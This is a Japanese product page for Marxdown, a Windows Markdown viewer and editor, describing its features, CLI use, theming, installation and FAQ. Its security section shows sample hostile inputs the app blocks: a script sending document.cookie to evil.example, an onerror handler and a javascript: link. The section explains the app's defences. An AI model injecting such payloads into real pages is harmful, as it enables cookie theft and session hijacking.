VS Code
コードを書くための開発環境
- ワークスペースと拡張機能を読み込んで始まる
- Markdown はソースとして開き、プレビューは別に開く
- 書く・動かす・直すための道具がそろっている
Markdown を読むことを中心に設計した、Windows 向けのビューアー/エディター。marxdown README.md で開いて、必要になったらそのまま編集できます。
こんなこと、ありませんか
AI が書いた設計書。リポジトリの README。議事録。Markdown を「ちょっと読みたい」場面は、1 日に何十回もあります。そのたびに、IDE が立ち上がるのを待っていませんか。
Marxdown は、開いて・読んで・必要なら少し直すためのアプリです。
VS Code との関係
VS Code は強力な開発環境です。Marxdown は、開発環境までは要らない場面のためにあります。コードを書くのは VS Code、それについて書かれたものを読むのは Marxdown。そういう併用を想定しています。
コードを書くための開発環境
Markdown を読むための場所
使う場面
01読む
Marxdown で開けば、読むための表示になります。余白・行間・本文幅を整えた文字組みで、表・コード・数式・図もそのまま表示します。
02書く
キー 1 つで Split に切り替わり、その場で直せます。エディターは VS Code と同じ Monaco で、書いた内容は隣のプレビューにすぐ反映されます。
03整える
崩れた表の列幅は、Shift+Alt+F で揃います。太字・リンク・見出し・リストも、ショートカットで付け外しできます。
04探す
marxdown docs/ で、フォルダー内のファイル一覧と一緒に開きます。Ctrl+P で名前の一部から探せて、Ctrl+Shift+P のコマンドパレットからはすべての操作を実行できます。
一瞬で開く
フル IDE の初期化を待たずに、Markdown を開けます。一度起動するとタスクトレイで待機し、2 回目以降の marxdown は既存のウィンドウにタブで開きます。コマンドを打ったターミナルのプロンプトも、すぐに戻ります。
起動時間は、release ビルドで起動の各段階の中央値を計測して確かめている設計上の目標値です。PC の性能によって変わります。
AI 時代の Markdown
AI に設計、調査、議事録、レビューを頼むと、Markdown が返ってくることが増えました。書く時間より、読む時間のほうが長くなっています。Marxdown は、そうして増えていく Markdown を「読む」ための場所として使えます。
コマンドの出力をパイプで渡すと、表やコードが整った文書として表示します。
llm "設計案を出して" | marxdown -エージェントがファイルを書き換えると、開いている文書も自動で再読み込みします。
marxdown docs/文書に埋め込まれたスクリプトは実行しません。フォルダーの外のファイルは、許可しない限り読み込みません。
読みやすさ
Markdown は、一瞬見るだけではなく、何分、何十分と読むことがあります。だから、本文とコードのフォント、文字サイズ、行間、本文幅、表の罫線を調整できるようにしています。変更はすぐにプレビューへ反映されます。
{
"preview.fontSize": 16,
"preview.lineHeight": 1.75,
"preview.maxWidth": 72,
"preview.tableStyle": "lines"
}自分好みに
ライトとダークの切り替えに加えて、組み込みの配色が 50 種類。プレビューとエディターで別々に選べます。CSS ファイルを置けば、自分の配色も追加できます。
/* themes/my-theme.css */
--mx-color-bg: light-dark(#fdfcf8, #16161a);
--mx-color-fg: light-dark(#23211c, #e8e6e3);
--mx-color-accent: #d9480f;ターミナルから
marxdown README.md
いつものターミナルで打てば、すぐに読み始められます。cmd.exe / PowerShell / Git Bash のどこから実行しても、プロンプトはすぐに戻ります。
marxdown README.md marxdown README.md CHANGELOG.md marxdown docs/ marxdown -m split notes.md llm "設計案を出して" | marxdown - 安心して保存
保存しても、手を入れていない行はそのままです。改行コード・BOM・末尾の改行も、開いたときのまま保ちます。ほかのアプリがファイルを書き換えたときは、自動で再読み込みします。
知らないファイルも
LLM が生成したファイルのように、自分で書いていない Markdown を開くことを前提に作っています。何重もの防御で、文書の中身がアプリやパソコンに手を出せないようにしています。
<script>fetch("https://evil.example/?" + document.cookie)</script> CSP 埋め込まれたスクリプトは実行しない<img src="x" onerror="alert(1)"> サニタイズ onerror などのイベント属性は取り除く[続きを読む](javascript:alert(1)) リンクの許可リスト 知らない種類のリンクは何もしない 読み込む範囲の検証 フォルダーの外は、許可しない限り読み込まない安全に表示
ほかにも
見出しの一覧から、読みたい場所へ移動できます。
CtrlShiftU表示している文書の中を検索できます。
CtrlFmarp: true を書いた文書は、スライドとして表示します。
表示している文書を、そのまま HTML や PDF にできます。
ほかのアプリがファイルを書き換えると、自動で再読み込みします。
ファイル一覧から、新規作成・名前の変更・コピー・ごみ箱への移動ができます。
コマンドの出力を、そのまま無題の文書として開けます。
画面の表示は日本語と英語に対応しています。既定では Windows の表示言語に合わせます。
新しいバージョンが出るとアプリ内でお知らせし、ボタン 1 つで入れ替わります。
.md のダブルクリックでも、フォルダーの右クリックメニューからも開けます。
はじめる
Releases から Marxdown_<バージョン>_x64-setup.exe をダウンロードします。
実行するだけです。管理者権限は不要です。最後の確認で「はい」を選ぶと、marxdown コマンドが使えるようになります。
.md をダブルクリックするか、ターミナルで marxdown README.md と入力します。
インストーラーには現在コード署名をしていないため、SmartScreen の警告が表示されることがあります。「詳細情報」→「実行」の順に選ぶと、インストールを続けられます。
動作環境: Windows 10 / 11(x64)。WebView2 ランタイムが必要です(Windows 11 には標準で入っています)。
インストールの詳しい手順よくある質問
はい、編集もできます。ただし、Markdown を読むことを中心に設計しています。開くと読むための表示になり、キー 1 つで Split や Edit に切り替えて、VS Code と同じ Monaco エディターで編集できます。
VS Code は優れた開発環境で、Markdown のプレビューも備えています。Marxdown は、ワークスペースや拡張機能を読み込むほどではない場面で、Markdown をすぐに開いて読むためのアプリです。両方を使い分けることを想定しています。
はい。Mermaid の図や数式を含め、表示の処理はすべて手元で行います。インターネットに接続するのは、更新を確認するときと、文書の中にある https:// の画像を表示するときです。
ありません。アカウント登録も、利用状況の送信(テレメトリ)もありません。更新の確認では GitHub の Releases に問い合わせますが、開いているファイルの情報は含みません。この確認は設定で止められます。
はい。MIT ライセンスのオープンソースで、仕事でも無料で使えます。
Windows 10 / 11(x64)です。macOS と Linux の版は、現在ありません。
インストーラーに現在コード署名をしていないためです。「詳細情報」→「実行」の順に選ぶと続けられます。インストーラーは、公開しているソースコードから GitHub Actions でビルドしています。